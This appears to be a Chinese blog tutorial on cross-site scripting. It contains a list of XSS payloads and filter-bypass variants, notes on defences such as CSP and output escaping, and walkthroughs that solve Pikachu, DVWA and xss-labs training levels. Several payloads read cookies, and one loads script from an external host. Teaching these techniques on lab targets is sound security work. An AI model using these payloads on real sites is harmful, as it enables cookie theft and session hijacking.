OWASP 之跨站脚本xss基础技能

news2024/11/16 10:28:50

OWASP 之跨站脚本xss基础技能

  • 一.XSS概述
  • 二.漏洞危害
  • 三.XSS漏洞绕过方法
    • 1.手工测试XSS步骤
    • 2.常见xss
    • 3.绕过方法
  • 四.xss防御方法
    • a.CSP内容安全策略
    • b.HttpOnly
    • c.输入输出检查
    • d.使用防御函数
  • 五.pikachu靶场
    • 1.反射型XSS(get)
    • 2.反射型XSS(post)
    • 3.存储型XSS
    • 4.DOM型XSS
    • 5.DOM型XSS-X
    • 6.xss盲打
    • 7.xss之过滤
    • 8.xss之htmlspecialchars
    • 9.xss之href输出
    • 10.xss之js输出
  • 六.DVWA靶场
    • 1.LOW
      • (1)xss(Reflected反射型)
      • (2)xss(Dom)
      • (3)xss(Stored存储型)
    • 2.Midium
      • (1)xss(Reflected反射型)
      • (2)xss(Dom)
      • (3)xss(Stored存储型)
    • 3.High
      • (1)xss(Reflected反射型)
      • (2)xss(Dom)
      • (3)xss(Stored存储型)
  • 七.xss-labs靶场
    • 1.LV1
    • 2.LV2
    • 3.LV3
    • 4.LV4
    • 5.LV5
    • 6.LV6
    • 7.LV7
    • 8.LV8
    • 9.LV9
    • 10.LV10

一.XSS概述

XSS中文叫做跨站脚本攻击(Cross-site scripting),本名应该缩写为CSS,但是由于CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。XSS(跨站脚本攻击)主要基于javascript(js)来完成恶意的攻击行为。
是一种经常出现在web应用中的计算机大全漏洞,也是web中最主流的攻击方式。那么什么是XSS呢?
XSS是指恶意攻击者利用网站对用户提交的数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。从而盗取用户资料、利用用户身份进行某种动作或者访问者进行病毒侵害的一种攻击方式。
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

二.漏洞危害

植入键盘记录器。
攻击受害者所在的局域网。
代理转发流经被攻击者的所有 Web 流量,即实施中间人攻击。
窃取或篡改应用 cookie 用于会话劫持。
更改被攻击者 Web 应用的显示内容。
绕过 CSRF 安全防护措施。
创建包含恶意 JavaScript 代码的虚假网站以及到该网站页面的链接。
发送嵌入恶意 Web URL 的电子邮件。
使用 URL 短码隐蔽真实 URL。

三.XSS漏洞绕过方法

1.手工测试XSS步骤

1、找到测试点(搜索框、留言板)
2、根据测试流程首先实验一些特殊符号的输入。发现可以正常输出,说明后台并没有进行相关的过滤。
例子:’<>?"&/6666
3、如果有过滤则进行相关的绕过

2.常见xss

<input onclick=alert(360)>
<input onfocus="alert('xss');">
<input onblur=alert("xss") autofocus><input autofocus>

<script>alert(1)</script>#最普通的xss
<script>alert(document.cookie)</script> #获取cookie
<script src='http://baidu.com/xss.js'></script>   # 外部攻击代码
<img src=x onerror=alert(/xss/)> #加载图形失败执行
<iframe onload=alert('xss')> #框架
<svg onload=alert(1)>
<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />
<body onload=alert(1)>
<style onload=alert(1)></style>
<input onmouseover=alert(1)> (简单防绕过)	

3.绕过方法

</script><script>alert(1)</script>
<ScRiPt>alert(1)</ScRiPt> 大小写绕过	
onfocus=javascript:alert('xss')	//事件绕过  		
<sc<script>ript>alert(/xss/)</script> 双写绕过	
oonnfocus=javascripscriptt:alert('xss')双写绕过
" oonnfocus=javascriscriptpt:alert('xss')>引号闭合+>双写绕过  	
``<script>alert(1)</script>反引号绕过(绕过单双引号的过滤)
"> <script>alert(1)</script>关闭标签(利用<>关闭标签)          
<a href="javascript:alert('xss')">xss</a> #a链接的xss,E7.0|IE6.0,才能执行		
<img src=1 onerror=alert(1)> 图片链接绕过	
"><a href="javascript:alert('xss')">xss</a>关闭标签链接绕过
"><ScRiPt>alert(1)</ScRiPt> 大小写加关闭标签绕过

四.xss防御方法

a.CSP内容安全策略

CSP指的是内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。简单来说,就是我们能够规定,我们的网站只接受我们指定的请求资源。
CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。

b.HttpOnly

HtpOnly是Cokioe的一个安全属性, 设置后则可以在xSS漏洞发生时避免Jsese读取到Cookie,但即使设置了HtpOnly属性,也仍有方法获取到Cokie值。如:
CVE-2012-0053、PHPINFO页面/、Flash/Java API

c.输入输出检查

常见的Web漏洞如XSS、SQL Injection等,都要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。
除了富文本的输出外,在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。

d.使用防御函数

trim() 	//函数从字符串的两端删除空白字符和其他预定义字符
stripslashes() 	//删除反斜杠
substr_replace(st1,st2,n) //str1 为原始字符串,str2为替换的字符串,n代表替换位置,第n位之后替换
addslashes() 		//在预定义字符之前添加反斜杠的字符串
strip_tags() 		//剥去字符串中的 HTML、XML 以及 PHP 的标签
htmlspecialchars()//把预定义的字符转换为 HTML 实体

五.pikachu靶场

1.反射型XSS(get)

反射型也称为非持久型,这种类型的脚本是最常见的,也是使用最为广泛的一种,主要用于将恶意的脚本附加到URL地址的参数中。
在这里插入图片描述

F12找到源码位置
在这里插入图片描述

发现可以直接修改maxlength,将其改大点输入payload
payload:

<script>alert('xss')</script><script>alert(document.cookie);</script>

效果:
在这里插入图片描述

2.反射型XSS(post)

在这里插入图片描述

输入用户名密码admin 123456
在这里插入图片描述

使用<script>alert(document.cookie);</script>提交
在这里插入图片描述

弹出对话框说明注入成功,成功获取cookie

3.存储型XSS

攻击者将已经构造完成的恶意页面发送给用户,用户访问看似正常的页面后收到攻击,这类XSS通常无法直接在URL中看到恶意代码,具有较强的持久性和隐蔽性。
在这里插入图片描述

输入payload提交:<script>alert("xss")</script>
在这里插入图片描述

会弹出对话框,同时保存一条信息到留言列表
在这里插入图片描述

再次输入任意留言都会自动弹框
在这里插入图片描述

说明成功注入
在这里插入图片描述

此外在页面切换,然后再次切换回来,发现弹窗依然存在,说明我们输入的语句已经被存储起来。
这就是存储性与反射性永久性和一次性的区别,会永久的存储在数据库中。

4.DOM型XSS

什么时DOM
简单来说DOM文档就是一份XML文档,当有了DOM标准之后,DOM便将前端html代码化为一个树状结构,方便程序和脚本能够轻松的动态访问和更新这个树状结构的内容、结构以及样式,且不需要经过服务端,所以DOM型xss在js前端自己就可以完成数据的输入输出,不与服务器产生交互,这样来说DOM型xss也可以理解为反射性xss。

尝试输入123,F12定位代码what do you see?
在这里插入图片描述

然后输入

'><img src="#" οnmοuseοver="alert('xss')">或
' onclick="alert('xss')">

在这里插入图片描述

构造之后的完成语句:
<a href= ’ ’ οnclick=’ ’ alert(’ xss’ )’ ’ >’ >what do you see?
说明完成闭合οnclick=" alert(’ xss’ )" >>what do you see?是另一个语句了
'>what do you see?
点击它会出现弹框,说明注入成功
在这里插入图片描述

5.DOM型XSS-X

在这里插入图片描述

可以看出仍然使用了字符串拼接
此处我们同样输入payload:

'><img src="#" οnmοuseοver="alert('xss')">或
' onclick="alert('xss')">

构造闭合
注入后要点击两次才能看到弹框
在这里插入图片描述

在这里插入图片描述

6.xss盲打

XSS盲打:它不是一种XSS漏洞的类型,它其实是一种XSS一种的攻击场景。
payload:<script>alert('xss')</script>
在这里插入图片描述

提交后转到提示给出的网址
在这里插入图片描述

登录后发现被注入了,说明攻击成功

在这里插入图片描述

7.xss之过滤

显然做了过滤,需要想办法绕过,让其输出不一样的语句
在这里插入图片描述

payload:使用大小写绕过:<scriPt>alert('xss')</scriPt>
在这里插入图片描述

或者

></SCRIPT>>><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

在这里插入图片描述

其中88,83,83是xss的ascii编码

8.xss之htmlspecialchars

**htmlspecialchars() 函数:**把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体,把 < 和 > 转换为实体常用于防止浏览器将其用作 HTML 元素。
该函数默认不过滤单引号,只有设置才可以过滤单引号;
在这里插入图片描述

payload:'onclick='alert("xss")'
输入后点击弹框
在这里插入图片描述

而其他的输入点击都会跳到如下界面,可见引号起到了闭合的作用
onclick用法:按钮文本
或链接<a href = οnclick=“执行的 PHP 代码”>
在这里插入图片描述
在这里插入图片描述

9.xss之href输出

在这里插入图片描述

绕js:payload:javascript:alert(“xss”)
在这里插入图片描述

10.xss之js输出

在这里插入图片描述
在这里插入图片描述

由于这里将输入都动态转成了javascript,因此先将script闭合可以实现注入
payload:</script><script>alert("xss")</script>

六.DVWA靶场

1.LOW

在这里插入图片描述

(1)xss(Reflected反射型)

在这里插入图片描述

没有过滤,Hello后面直接加payload
payload:<script>alert("xss")</script>
在这里插入图片描述

(2)xss(Dom)

由于是get表单提交方式:在url后面直接追加payload:<script>alert("xss")</script>
在这里插入图片描述

(3)xss(Stored存储型)

也是没有过滤:在message输入payload
payload:<script>alert("xss")</script>
在这里插入图片描述
在这里插入图片描述

2.Midium

在这里插入图片描述

(1)xss(Reflected反射型)

发现把script去掉了
在这里插入图片描述

使用双写绕过:<sc<script>ript>alert(/xss/)</script>
在这里插入图片描述

或大小写绕过:<ScRiPt>alert(“xss”)</ScRiPt>
在这里插入图片描述

(2)xss(Dom)

直接追加payload的方法行不通了,应该是script被过滤了
在这里插入图片描述
在这里插入图片描述

针对此处做构造,首先闭合option,然后闭合select
图片链接绕过payload:</option></select><img src=1 onerror=alert("xss")>
(或使用超链接标签绕过也行)
在这里插入图片描述

(3)xss(Stored存储型)

这个也是一样,script被去掉了,而且引号被转义了
在这里插入图片描述

发现所有方法都不行,改变方向使用name做为注入点,首先修改长度
在这里插入图片描述

Name处输入payload:<script>alert(‘xss’)</script>
在这里插入图片描述

3.High

在这里插入图片描述

(1)xss(Reflected反射型)

发现所有的绕过方法都没用
使用图片链接绕过:<img src=1 onerror=alert(‘xss’)>
在这里插入图片描述

(2)xss(Dom)

#<script>alert("xss")</script>

回车刷新下页面,
#代表网页中的一个位置。其右面的字符,就是该位置的标识符。比如,http://www.example.com/index.html#print就代表网页index.html的print位置。浏览器读取这个URL后,会自动将print位置滚动至可视区域。起到跳转的作用
在这里插入图片描述

(3)xss(Stored存储型)

七.xss-labs靶场

1.LV1

看不到输入栏,只能在url拼接payload

<script>alert(1)</script>

在这里插入图片描述

2.LV2

关闭标签绕过payload:”><script>alert(1)</script>
在这里插入图片描述

3.LV3

可选payload:

' οnmοuseοver='alert(/xss/)
' οnclick='alert(/xss/)

在这里插入图片描述

4.LV4

发现<>都被去掉了,怎么办
在这里插入图片描述

这是对上一题的升级了,单引号换成了双引号

" οnmοuseοver="alert(/xss/) 

在这里插入图片描述
在这里插入图片描述

5.LV5

什么情况左边的script多了一个_,完全不知道怎么继续下去了

在这里插入图片描述

可以发现script和onclick都被过滤了
构造一个新的链接:"><a href=javascript:alert('xss')>xss</a>,点击xss
在这里插入图片描述

6.LV6

大小写加关闭标签绕过:"><ScRiPt>alert(1)</ScRiPt>
在这里插入图片描述

7.LV7

使用双写绕过:oonnfocus=javascripscriptt:alert('xss')
使用引号闭合+>双写绕过" oonnfocus=javascriscriptpt:alert('xss')>
在这里插入图片描述
在这里插入图片描述

8.LV8

所有的方法都不行,考虑用编码绕过,先将里的javascript:alert(‘xss’)转成unicode编码
javascript:alert(‘xss’)
否则的话javascript会变成javascr_ipt
在这里插入图片描述

9.LV9

输入javascript:alert('xss')链接也被过滤了
在这里插入图片描述

输入:javascript:alert('xss')'http://www.baidu.com'
在这里插入图片描述

和之前一样javascript被过滤了,编码试下
javascript:alert('xss')//http://www.baidu.com
在这里插入图片描述

10.LV10

通过观察三个隐藏标签得知需要给t_sort赋值才不报错

&t_sort=" type="text" οnclick="alert('xss')

在这里插入图片描述
在这里插入图片描述
免责声明:
本文为作者个人观点,不代表本平台或任何其他机构的立场和观点。本文所包含的任何信息、观点和建议仅供参考和信息交流,读者应自行判断其适用性。
本文所涉及的任何产品、服务、企业、机构、网站或其他信息均为作者个人观点,不构成任何形式的推荐或背书。作者不对因读者根据本文内容采取的任何行动负责,也不承担任何责任。
本文的内容并不保证完全准确、全面或最新,且可能存在错误或遗漏。读者在参考本文内容时应自行进行验证和核实。任何因读者根据本文内容采取的任何行动造成的损失或损害,作者概不负责。
本文的版权归作者所有,未经作者许可,任何人不得擅自转载、复制或用于商业用途。如需转载或引用,请注明出处并联系作者。
最后,作者保留随时修改本文内容和免责声明的权利。请读者在使用本文内容时注意查看最新版本的免责声明。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/655539.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

PS如何把多张图片拼接到一张?

现在有多张图片如下 &#xff0c;如何拼接成为1张呢&#xff1f; 打开ps&#xff0c;在ps里面点击文件->自动->联系表。 在弹出来的联系表对话框中&#xff0c;点击选取&#xff0c;选择要拼接的图片。 选择好图片之后&#xff0c;设置宽度高度&#xff0c;宽度的话&…

List Label 28.003 2023 Crack

列表和标签 28.003 在 Web 报表设计器中添加新的图表类型&#xff0c;并支持 Embarcadero RAD Studio 11.3。 6月 16&#xff0c; 2023 - 16&#xff1a;38 新版本 特征 .NET 所有可用的 NuGet 包现在都有一个特殊的企业包和 ID&#xff0c;以确保包都来自一个包源&#xff0c;…

GeneGPT:用领域工具增强大型语言模型,以改善对生物医学信息的访问

文章目录 一、论文关键信息二、主要内容1. Motivations2. 解决方案关键3. 实验和结果 三、总结与讨论 &#x1f349; CSDN 叶庭云&#xff1a;https://yetingyun.blog.csdn.net/ 一、论文关键信息 论文标题&#xff1a;GeneGPT: Augmenting Large Language Models with Domain …

代码审计——垂直越权详解

为方便您的阅读&#xff0c;可点击下方蓝色字体&#xff0c;进行跳转↓↓↓ 01 漏洞描述02 审计要点03 漏洞特征04 漏洞案例05 修复方案 01 漏洞描述 垂直越权&#xff0c;也称权限提升&#xff0c;是一种“基于URL的访问控制”设计缺陷引起的漏洞。 由于Web应用程序没有做权…

2023开放原子全球开源峰会——Intel专题探访

浩瀚宇宙&#xff0c;有光&#xff0c;朝着未来之境&#xff1b;万物之始&#xff0c;有道&#xff0c;启示智慧共荣&#xff1b;在多维赋能的时空里&#xff0c;见微知著&#xff0c;开放共享 &#xff0c;包罗万象&#xff1b;在抵达终点的路途中&#xff0c;彼此陪伴&#x…

《Java核心卷1》怎么样?读1,2章草记 | 第12版

文章目录 《Java核心技术卷 一》第一章 概述第二章 Java编程环境 图书推荐 《Java核心技术卷 一》 第一章 概述 前言&#xff1a;本书与一些”0基础入门“的书定位感觉是不太一样的&#xff0c;可能就像书名所说&#xff0c;是”核心技术“叭。书中经常将Java语言与 c 进行对比…

基于Java电子竞技管理平台设计实现(源码+lw+部署文档+讲解等)

博主介绍&#xff1a; ✌全网粉丝30W,csdn特邀作者、博客专家、CSDN新星计划导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战 ✌ &#x1f345; 文末获取源码联系 &#x1f345; &#x1f447;&#x1f3fb; 精…

详解c++---红黑二叉树的原理和实现

什么是红黑二叉树树 avl树是通过控制平衡因子来控制二叉搜索树的平衡&#xff0c;当某个节点的平衡因子等于2或者-2的话我们就根据他所在的位置来进行旋转&#xff0c;如果这个节点位于右右的话就对其进行向左旋转&#xff0c;如果这个节点位于左左的话就对其进行向右旋转&…

【Android复习笔记】OkHttp核心原理

使用方法 调用流程 0kHttp请求过程中最少只需要接触OkHttpClient、Request、Call、 Response,但是框架内部进行大量的逻辑处理。 所有的逻辑大部分集中在拦截器中,但是在进入拦截器之前还需要依靠分发器来调配请求任务。 分发器:内部维护队列与线程池,完成请求调配;拦截…

chatgpt赋能python:Python中嵌套列表的访问方法

Python中嵌套列表的访问方法 在Python编程中&#xff0c;嵌套列表是一种很常见的数据类型。它可以存储多个列表&#xff0c;使得数据结构更加复杂灵活。然而&#xff0c;如何访问嵌套列表中的元素呢&#xff1f;本文将详细介绍Python中嵌套列表的访问方法。 嵌套列表的定义 …

ch8_2_CPU的指令周期

1.  指令周期 指令周期是指_ CPU从主存取出一条指令, 分析指令&#xff0c;加上执行这条指令的时间。 1.1指令周期 指令周期&#xff1a; 是指cpu&#xff0c;从内存中取出指令&#xff0c;并且执行一条指令所需要的全部时间。 比如 从内存单元中&#xff0c;取出操作数&…

【备战秋招】每日一题:4月29日美团春招第二题:题面+题目思路 + C++/python/js/Go/java带注释

为了更好的阅读体检&#xff0c;为了更好的阅读体检&#xff0c;&#xff0c;可以查看我的算法学习博客第二题-限行 在线评测链接:P1267 题目内容 塔子哥是一个富有的商人&#xff0c;他在一家大型贸易公司工作。他的公司位于城市的中心区&#xff0c;是一座高耸的摩天大楼。…

代码审计——SSRF详解

为方便您的阅读&#xff0c;可点击下方蓝色字体&#xff0c;进行跳转↓↓↓ 01 漏洞描述02 审计要点03 漏洞特征04 漏洞案例05 修复方案 01 漏洞描述 服务端请求伪造攻击&#xff08;SSRF&#xff09;也成为跨站点端口攻击&#xff0c;是由于一些应用在向第三方主机请求资源时提…

Linux 学习记录33(网络编程篇)

Linux 学习记录33(网络编程篇) 本文目录 Linux 学习记录33(网络编程篇)一、阻塞IO二、非阻塞IO三、信号驱动IO四、IO多路复用(重点)1. select (TCP服务器)TCP服务器代码TCP客户端代码 2. poll 一、阻塞IO 1. 最常用&#xff0c;最简单&#xff0c;效率最低的. 2. 创建套接字文…

WPF开发txt阅读器11:自定义控件更改音量语速

文章目录 自定义控件控件调用自定义事件更改音量和语速 txt阅读器系列&#xff1a; 需求分析和文件读写目录提取类&#x1f48e;列表控件与目录字体控件绑定&#x1f48e;前景/背景颜色书籍管理系统&#x1f48e;用树形图管理书籍语音播放&#x1f48e;播放进度显示&#x1f4…

【Java】Java核心要点总结 65:TreeSet 两种排序

文章目录 1. Comparable 和 Comparator区别比较2. TreeSet有两种实现指定排序规则的方式&#xff1a; 1. Comparable 和 Comparator区别比较 Comparable 是排序接口&#xff0c;若一个类实现了Comparable接口&#xff0c;就意味着“该类支持排序”。Comparator 是比较器&#x…

使用post请求建立长连接实现sse,接收后端主动发来的消息,实现chat-gpt的弹字效果,EventSource的应用

每日鸡汤&#xff1a;每个你想要学习的瞬间都是未来的你向自己求救 最近在做一个chat相关的功能&#xff0c;然后由于接口返回特别特别慢&#xff0c;所以需要搞一个慢慢等待的效果&#xff0c;就是接口一个单词一个单词的返回&#xff0c;然后前端收到一个展示一个&#xff0c…

Nucleo-F411RE (STM32F411)LL库体验 6 - EXTI外部中断的使用

Nucleo-F411RE &#xff08;STM32F411&#xff09;LL库体验 6 - EXTI外部中断的使用 1、简述 开发板蓝色按键连接PC13管脚&#xff0c;且断开时为高电平&#xff0c;闭合时低电平。我们将pc13设置为中断模式&#xff0c;低电平触发&#xff0c;当按键按下时&#xff0c;触发中…

Hadoop完全分布式运行环境的搭建

Hadoop完全分布式运行环境的搭建 文章目录 Hadoop完全分布式运行环境的搭建0. 写在前面1. 模板虚拟机环境准备安装模板虚拟机hadoop01虚拟机配置要求如下关闭防火墙&#xff0c;关闭防火墙开机自启创建普通用户配置新用户权限修改所属主和所属组卸载虚拟机自带的JDK重启虚拟机 …

【备战秋招】每日一题:4月23日美团春招第四题:题面+题目思路 + C++/python/js/Go/java带注释

为了更好的阅读体检&#xff0c;为了更好的阅读体检&#xff0c;&#xff0c;可以查看我的算法学习博客第四题-01串的代价 在线评测链接:P1248 题目内容 塔子哥是一个喜欢研究密码的人&#xff0c;他经常在网上寻找各种有趣的密码挑战。他最近发现了一个神秘的网站&#xff…